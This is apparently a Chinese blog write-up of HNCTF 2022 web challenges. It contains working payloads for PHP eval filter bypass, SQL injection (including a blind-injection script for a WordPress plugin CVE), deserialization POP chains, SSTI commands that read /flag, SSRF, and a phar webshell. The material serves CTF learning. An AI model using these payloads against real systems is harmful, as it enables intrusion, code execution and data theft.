目录

  1. 1. 前言
  2. 2. WEEK1
    1. 2.1. Challenge__rce
  3. 3. WEEK2
    1. 3.1. easy_sql
    2. 3.2. easy_unser
    3. 3.3. ez_SSTI
    4. 3.4. ez_ssrf
      1. 3.4.1. fsockopen()函数
    5. 3.5. easy_include
    6. 3.6. Canyource
    7. 3.7. ohmywordpress
  4. 4. WEEK3
    1. 4.1. Fun_php
    2. 4.2. ez_phar
    3. 4.3. ssssti
  5. 5. WEEK4
    1. 5.1. pop子和pipi美
    2. 5.2. fun_sql
      1. 5.2.1. 非预期

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

HNCTF 2022 Web

2023/8/8 Web
  |     |   总文章阅读量:

前言

梦开始的地方啊…令人感叹

官方wp


WEEK1

第一周我这里就写一下Challenge__rce的wp,其它几题无聊的时候再补(

Challenge__rce

无字母RCE

进入题目,f12注释提示我们get传入hint

image-20230808222349657

传入后得到源码

 <!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8"/>
    <title>Challenge_rce</title>
    <link rel="stylesheet" type="text/css" href="./css/index.css"/>
</head>
<body>
<!--?hint-->
</body>
</html>

<?php
error_reporting(0);
if (isset($_GET['hint'])) {
    highlight_file(__FILE__);
}
if (isset($_POST['rce'])) {
    $rce = $_POST['rce'];
    if (strlen($rce) <= 120) {
        if (is_string($rce)) {
            if (!preg_match("/[!@#%^&*:'\-<?>\"\/|`a-zA-Z~\\\\]/", $rce)) {
                eval($rce);
            } else {
                echo("Are you hack me?");
            }
        } else {
            echo "I want string!";
        }
    } else {
        echo "too long!";
    }
}

过滤所有字母和很多字符,是无字母RCE,因为过滤了~^,这里只能采用自增来做,同时限制了payload的长度不能超过120

参考ctfshow极限RCE

注意这里把/禁用了,所以不能构造NAN_,只能用Array来构造chr函数获取字符

payload(长度118):

$___.=[];$_=$___[3];$_++;$_++;$__=$_++;$_++;$_++;$_++;$__.=++$_.$___[2];$_=_.$__(71).$__(69).$__(84);($$_{1})($$_{2});

记得url编码一下

image-20230808233816754


WEEK2

easy_sql

无列名注入

fuzz脚本测试了一下,发现and、sleep、handler、extractvalue、@、#、–、空格、information_schema被禁用了

首先,空格可以用/**/来替代

然后是过滤了#--,也就意味着我们要自行闭合语句

接着是information_schema,意味着我们要进行无列名注入

测试回显

id=0'/**/union/**/select/**/1,2,4/**/where/**/1='1

image-20231009012641893

找到注入点,直接查全部数据库的名字

id=0'union/**/select/**/1,2,group_concat(database_name)/**/from/**/mysql.innodb_table_stats/**/where/**/1='1

image-20231009013433512

flag在数据库ctftraining里

爆表

id=0'union/**/select/**/1,2,group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name='ctftraining

image-20231009013029090

爆字段

id=0'union/**/select/**/1,2,group_concat(`1`)/**/from/**/(select/**/1/**/union/**/select/**/*/**/from/**/ctftraining.flag)a/**/where/**/1='1

image-20231009013633008


easy_unser

反序列化wakeup绕过+php伪协议

<?php
include 'f14g.php';
error_reporting(0);

highlight_file(__FILE__);

class body
{
    private $want, $todonothing = "i can't get you want,But you can tell me before I wake up and change my mind";

    public function  __construct($want)
    {
        $About_me = "When the object is created,I will be called";
        if ($want !== " ") $this->want = $want;
        else $this->want = $this->todonothing;
    }
    function __wakeup()
    {
        $About_me = "When the object is unserialized,I will be called";
        $but = "I can CHANGE you";
        $this->want = $but;
        echo "C1ybaby!";
    }
    function __destruct()
    {
        $About_me = "I'm the final function,when the object is destroyed,I will be called";
        echo "So,let me see if you can get what you want\n";
        if ($this->todonothing === $this->want)
            die("鲍勃,别傻愣着!\n");
        if ($this->want == "I can CHANGE you")
            die("You are not you....");
        if ($this->want == "f14g.php" or is_file($this->want)) {
            die("You want my heart?No way!\n");
        } else {
            echo "You got it!";
            highlight_file($this->want);
        }
    }
}

class unserializeorder
{
    public $CORE = "人类最大的敌人,就是无序. Yahi param vaastavikta hai!<BR>";
    function __sleep()
    {
        $About_me = "When the object is serialized,I will be called";
        echo "We Come To HNCTF,Enjoy the ser14l1zti0n <BR>";
    }
    function __toString()
    {
        $About_me = "When the object is used as a string,I will be called";
        return $this->CORE;
    }
}

$obj = new unserializeorder();
echo $obj;
$obj = serialize($obj);


if (isset($_GET['ywant'])) {
    $ywant = @unserialize(@$_GET['ywant']);
    echo $ywant;
}

出口在body::__destruct()的highlight_file

所以要避开if语句的几个条件:$this->todonothing === $this->want$this->want == "I can CHANGE you"$this->want == "f14g.php" or is_file($this->want)

而body类中首先执行的是__wakeup(),会使$want的值为I can CHANGE you,所以要绕过这个魔术方法

发现php版本是7.0.9,有CVE-2016-7124的trick

然后是__construct($want),$want是我们可控的,那么就是用$want去读文件

is_file不会将伪协议当作文件,但highlight_file认为伪协议可以是文件,所以我们用伪协议去读

注:这里$want是私有变量,序列化得带上%00类名%00变量名或者urlencode

至于下面的unserializeorder类是完全用不到的

exp:

<?php
class body
{

    private $want, $todonothing = "i can't get you want,But you can tell me before I wake up and change my mind";

    public function  __construct($want)
    {
        if ($want !== " ") $this->want = $want;
        else $this->want = $this->todonothing;
    }
}
$obj = new body("php://filter/read=convert.base64-encode/resource=f14g.php");
$obj = serialize($obj);
echo $obj;

#O:4:"body":2:{s:10:"bodywant";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:17:"bodytodonothing";s:76:"i can't get you want,But you can tell me before I wake up and change my mind";}

payload:

?ywant=O:4:"body":3:{s:10:"%00body%00want";s:57:"php://filter/read=convert.base64-encode/resource=f14g.php";s:17:"bodytodonothing";s:76:"i can't get you want,But you can tell me before I wake up and change my mind";}

base64解码得到flag


ez_SSTI

ssti

没有过滤

payload一把梭

{{config.__class__.__init__.__globals__['os'].popen('cat flag').read()}}

ez_ssrf

ssrf

访问index.php

<?php

highlight_file(__FILE__);
error_reporting(0);

$data=base64_decode($_GET['data']);
$host=$_GET['host'];
$port=$_GET['port'];

$fp=fsockopen($host,intval($port),$error,$errstr,30);
if(!$fp) {
    die();
}
else {
    fwrite($fp,$data);
    while(!feof($data))
    {
        echo fgets($fp,128);
    }
    fclose($fp);
} 

fsockopen()函数

fsockopen ($hostname , $port, $errno , &$errstr , $timeout = ini_get("default_socket_timeout"))

用于建立一个 socket 连接

通过fwrite可以将data写入当前会话

demo:

<?php
$fp = fsockopen("www.example.com", 80, $errno, $errstr, 30);
if (!$fp) {
    echo "$errstr ($errno)<br />\n";
} else {
    $out = "GET / HTTP/1.1\r\n";
    $out .= "Host: www.example.com\r\n";
    $out .= "Connection: Close\r\n\r\n";
    fwrite($fp, $out);
    while (!feof($fp)) {
        echo fgets($fp, 128);
    }
    fclose($fp);
}
?>

于是可以构造一个请求头,用于读取服务器本地文件

GET /flag.php HTTP/1.1
Host: 127.0.0.1
Connection: Close

base64编码一下请求头作为data的值传入

payload:

/index.php?data=R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBDbG9zZQ0KDQo=&host=127.0.0.1&port=80

easy_include

日志包含

懒得复现了(


Canyource

无参rce

懒得复现了(

<?php
highlight_file(__FILE__);
if(isset($_GET['code'])&&!preg_match('/url|show|high|na|info|dec|oct|pi|log|data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['code'])){
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
    eval($_GET['code']);}
else
    die('nonono');}
else
    echo('please input code');
?>

ohmywordpress

CVE-2022-0760

cve参考链接:https://wpscan.com/vulnerability/1c83ed73-ef02-45c0-a9ab-68a3468d2210/

拿着测试的payload在/wp-admin/admin-ajax.php下post传参

action=qcopd_upvote_action&post_id=(SELECT 3 FROM (SELECT SLEEP(5))enz)

image-20231009171035213

在题目给的源码中跟踪找到对应的sql语句

$results = $wpdb->get_results("SELECT * FROM $wpdb->postmeta WHERE post_id = $post_id AND meta_key = 'qcopd_list_item01'");

那接下来就是要盲注了

exp:

import requests
import time

url = 'http://node5.anna.nssctf.cn:28180/wp-admin/admin-ajax.php'

dicts = r'NSSCTF{-abcdef0123456789}'

flag = ''

for i in range(1,50):
    for s in dicts:
        payload = "(SELECT 3 FROM (SELECT if(ascii(substr((select group_concat(flag) from ctftraining.flag),{},1))={}, sleep(5),0))enz)".format(i,ord(s))
        start_time = time.time()
        res = requests.post(url,data={
            'action': 'qcopd_upvote_action',
            'post_id': payload
            })
        stop_time = time.time()
        if stop_time - start_time >= 5:
            flag += s
            print(flag)
            break

WEEK3

Fun_php

php特性套娃

<?php
error_reporting(0);
highlight_file(__FILE__);
include "k1y.php";
include "fl4g.php";
$week_1 = false;
$week_2 = false;

$getUserID = @$_GET['user'];
$getpass = (int)@$_GET['pass'];
$getmySaid = @$_GET['mySaid'];
$getmyHeart = @$_GET['myHeart'];

$data = @$_POST['data'];
$verify = @$_POST['verify'];
$want = @$_POST['want'];
$final = @$_POST['final'];

if ("Welcom" == 0 && "T0" == 0 && "1he" == 1 && "HNCTF2022" == 0)
    echo "Welcom T0 1he HNCTF2022<BR>";

if ("state_HNCTF2022" == 1) echo $hint;
else echo "HINT? NoWay~!<BR>";


if (is_string($getUserID))
    $user = $user + $getUserID; //u5er_D0_n0t_b3g1n_with_4_numb3r

if ($user == 114514 && $getpass == $pass) {
    if (!ctype_alpha($getmySaid))
        die();
    if (!is_numeric($getmyHeart))
        die();
    if (md5($getmySaid) != md5($getmyHeart)) {
        die("Cheater!");
    } else
        $week_1 = true;
}

if (is_array($data)) {
    for ($i = 0; $i < count($data); $i++) {

        if ($data[$i] === "Probius") exit();

        $data[$i] = intval($data[$i]);
    }
    if (array_search("Probius", $data) === 0)
        $week_2 = true;

    else
        die("HACK!");
}
if ($week_1 && $week_2) {
    if (md5($data) === md5($verify))
        // ‮⁦HNCTF⁩⁦Welcome to
        if ("hn" == $_GET['hn'] & ‮⁦ + !!⁩⁦ & "‮⁦ Flag!⁩⁦ctf" == $_GET[‮⁦LAG⁩⁦ctf]) { //HN! flag!! F

            if (preg_match("/php|\fl4g|\\$|'|\"/i", $want) or is_file($want))
                die("HACK!");

            else {
                echo "Fine!you win";
                system("cat ./$want");
            }
        } else
            die("HACK!");
}

套了很多特性,一个个看

第一段:

$getUserID = @$_GET['user'];
$getpass = (int)@$_GET['pass'];
$getmySaid = @$_GET['mySaid'];
$getmyHeart = @$_GET['myHeart'];

if (is_string($getUserID))
    $user = $user + $getUserID; //u5er_D0_n0t_b3g1n_with_4_numb3r

if ($user == 114514 && $getpass == $pass) {
    if (!ctype_alpha($getmySaid))
        die();
    if (!is_numeric($getmyHeart))
        die();
    if (md5($getmySaid) != md5($getmyHeart)) {
        die("Cheater!");
    } else
        $week_1 = true;
}

首先传入的$getUserID必须是一个字符串,然后进行$user = $user + $getUserID,注释提示$user的值不以数字开头,而下面又要让$user == 114514

  • 纯字符串与数字相加,可以得到后者数字的值

    image-20231010185924044

  • 0与任何字符串比较都会返回1

    image-20231010190124984

接下来是$getmySaidctype_alpha函数会做纯字符检测,而$getmyHeart必须为纯数字,然后进行md5值检测

翻一下md5弱比较的字符串,有QNKCDZO240610708

第二段:

$data = @$_POST['data'];

if (is_array($data)) {
    for ($i = 0; $i < count($data); $i++) {

        if ($data[$i] === "Probius") exit();

        $data[$i] = intval($data[$i]);
    }
    if (array_search("Probius", $data) === 0)
        $week_2 = true;

    else
        die("HACK!");
}

首先检查$data是否是数组,然后遍历数组检查是否有元素存在字符串 “Probius”,然后用intval()将数组元素转换为整数类型,接着检查”Probius”是否在数组的第一个位置

一样是与0比较的匹配实现绕过

image-20231010193039856

第三段:

$verify = @$_POST['verify'];
$want = @$_POST['want'];
$final = @$_POST['final'];

if ($week_1 && $week_2) {
    if (md5($data) === md5($verify))
        // ‮⁦HNCTF⁩⁦Welcome to
        if ("hn" == $_GET['hn'] & ‮⁦ + !!⁩⁦ & "‮⁦ Flag!⁩⁦ctf" == $_GET[‮⁦LAG⁩⁦ctf]) { //HN! flag!! F

            if (preg_match("/php|\fl4g|\\$|'|\"/i", $want) or is_file($want))
                die("HACK!");

            else {
                echo "Fine!you win";
                system("cat ./$want");
            }
        } else
            die("HACK!");
}

md5强比较数组绕过即可

代码复制到vscode里可以发现存在不可见unicode字符

image-20231010193733066

整段unicode参数和值复制下来传参即可

底下$want用通配符读flag即可

image-20231010193822065

flag在html源码中


ez_phar

phar文件上传

<?php
show_source(__FILE__);
class Flag{
    public $code;
    public function __destruct(){
    // TODO: Implement __destruct() method.
        eval($this->code);
    }
}
$filename = $_GET['filename'];
file_exists($filename);
?> 

给了一个Flag类,底下有file_exists函数,两者相结合可知这题考的是phar反序列化

同时存在upload.php页面可以上传jpg、png、jpeg文件

生成phar图片马

<?php
class Flag{
    public $code;
}

$o=new Flag();
$o->code='eval($_GET["cmd"]);';
@unlink('test.phar');   //删除之前的test.phar文件(如果有)
$phar = new Phar('test.phar');  //创建一个phar对象,文件名必须以phar为后缀
$phar->startBuffering();  //开始写文件
$phar->setStub('<?php __HALT_COMPILER(); ?>');  //写入stub
$phar->setMetadata($o); //写入meta-data
$phar->addFromString("test.txt", "test");  //添加要压缩的文件
$phar->stopBuffering();//签名自动计算

上传phar文件,抓包改后缀为png

这题文件默认会上传到upload目录,直接伪协议读取然后执行shell

http://ip:port/?filename=phar://upload/test.png&cmd=phpinfo();

事后把upload.php爬了下来

<?php
$filename = $_FILES["file"]["name"];
if($filename) {
    # 获取后缀名
    $uptype = strtolower(end(explode(".", $filename)));
    if (in_array($uptype, array('jpg', 'png', 'jpeg'))) {
        move_uploaded_file($_FILES["file"]["tmp_name"], 'upload/' . $filename);
        print_r("上传成功!");
    } else {
        print_r("only jpg png jpeg");
        die(0);
    }
}
?>

ssssti

ssti

ban了',",args,os,_

用request参数逃逸就行

payload:

?name={{(lipsum|attr(request.values.c)).get(request.values.a).popen(request.values.b).read()}}&a=os&b=cat /flag&c=__globals__

WEEK4

pop子和pipi美

反序列化pop链

进入题目,告诉我们“pop子和pipi美的日常 第二季更新啦!看番获取hint哦~($_GET[‘pop_EP’]) ”

意思是我们传入参数pop_EP的值是这部番剧的ep号:ep683045

?pop_EP=ep683045

得到源码

<?php
error_reporting(0);
//flag is in f14g.php
class Popuko {
    private $No_893;
    public function POP_TEAM_EPIC(){
        $WEBSITE  = "MANGA LIFE WIN";
    }
    public function __invoke(){
        $this->append($this->No_893);
    }
    public function append($anti_takeshobo){
        include($anti_takeshobo);
    }
}

class Pipimi{
    
    public $pipi;
    public function PIPIPMI(){
        $h = "超喜欢POP子ww,你也一样对吧(举刀)";
    }
    public function __construct(){
        echo "Pipi美永远不会生气ww";
        $this->pipi = array();
    }

    public function __get($corepop){
        $function = $this->p;
        return $function();
    }
}
class Goodsisters{

    public function PopukoPipimi(){
        $is = "Good sisters";
    }

    public $kiminonawa,$str;

    public function __construct($file='index.php'){
        $this->kiminonawa = $file;
        echo 'Welcome to HNCTF2022 ,';
        echo 'This is '.$this->kiminonawa."<br>";
    }
    public function __toString(){
        return $this->str->kiminonawa;
    }

    public function __wakeup(){
        if(preg_match("/popzi|flag|cha|https|http|file|dict|ftp|pipimei|gopher|\.\./i", $this->kiminonawa)) {
            echo "仲良ピース!";
            $this->kiminonawa = "index.php";
        }
    }
}

if(isset($_GET['pop'])) @unserialize($_GET['pop']);  

else{
    $a=new Goodsisters;
    if(isset($_GET['pop_EP']) && $_GET['pop_EP'] == "ep683045"){
        highlight_file(__FILE__);
        echo '欸嘿,你也喜欢pop子~对吧ww';
    }
} 

反序列化pop链,我们的利用点出口在Popuko::append的文件包含上

链子:Goodsisters::__construct -> Goodsisters::__toString -> Pipimi::__get -> Popuko::__invoke -> Popuko::append

这里的过滤形同虚设,我们直接用php伪协议读f14g.php

exp:

<?php
class Popuko
{
    private $No_893="php://filter/read=convert.base64-encode/resource=f14g.php";
}

class Pipimi
{
    public $pipi;
}
class Goodsisters
{
    public $kiminonawa, $str;
}
$a=new Goodsisters();
$a->kiminonawa=new Goodsisters();
$a->kiminonawa->str=new Pipimi();
$a->kiminonawa->str->p=new Popuko();

echo serialize($a);

注意有private变量,需要%00处理

payload:

?pop_EP=ep683045&pop=O:11:"Goodsisters":2:{s:10:"kiminonawa";O:11:"Goodsisters":2:{s:10:"kiminonawa";N;s:3:"str";O:6:"Pipimi":2:{s:4:"pipi";N;s:1:"p";O:6:"Popuko":1:{s:14:"%00Popuko%00No_893";s:57:"php://filter/read=convert.base64-encode/resource=f14g.php";}}}s:3:"str";N;}

fun_sql

堆叠注入

<?
include "mysql.php";
include "flag.php";

if ( $_GET['uname'] != '' && isset($_GET['uname'])) {

    $uname=$_GET['uname'];

    if(preg_match("/regexp|left|extractvalue|floor|reverse|update|between|flag|=|>|<|and|\||right|substr|replace|char|&|\\\$|0x|sleep|\#/i",$uname)){
        die('hacker');
        
    }
    
    $sql="SELECT * FROM ccctttfff WHERE uname='$uname';";
    echo "$sql<br>";
    

    mysqli_multi_query($db, $sql);
    $result = mysqli_store_result($db);
    $row = mysqli_fetch_row($result);

    echo "<br>";

    echo "<br>";
    if (!$row) {
        die("something wrong");
    }
    else
    {
        print_r($row);
        echo $row['uname']."<br>";
        
    }
    if ($row[1] === $uname)
    {
    die($flag);
    }
}
highlight_file(__FILE__);

少见的给了源码的sql注入,只要查询ccctttfff表里面索引为1即第二个元素与我们传入的uname相等即可得到flag

sql语句为

SELECT * FROM ccctttfff WHERE uname='$uname';

那么我们先查一下ccctttfff表有几列

?uname=1'order by 3--+

一直爆something wrong,看来是数据库里面没东西

查一下回显位

?uname=1'union select 1,2,3--+

image-20231215221500783

总共三位,接下来就是思考如何满足判断条件得到flag,我们虽然可以用union select来为查询结果赋值,但是我们无法同时使uname的值和查询结果的第二个数据相同(quine注入的replace被ban了)

那么我们的思路就转变为插入数据,可以发现正则里面是没有过滤;的,那么就可以堆叠注入

payload:

?uname=1';insert into ccctttfff values('a','b','c');--+

然后?uname=b即可得到flag

非预期

直接load_file查询flag.php,flag用concat拼接

payload:

?uname=0'union select 1,load_file(concat('/var/www/html/fla','g.php')),3--+

ctrl+u查看页面得到flag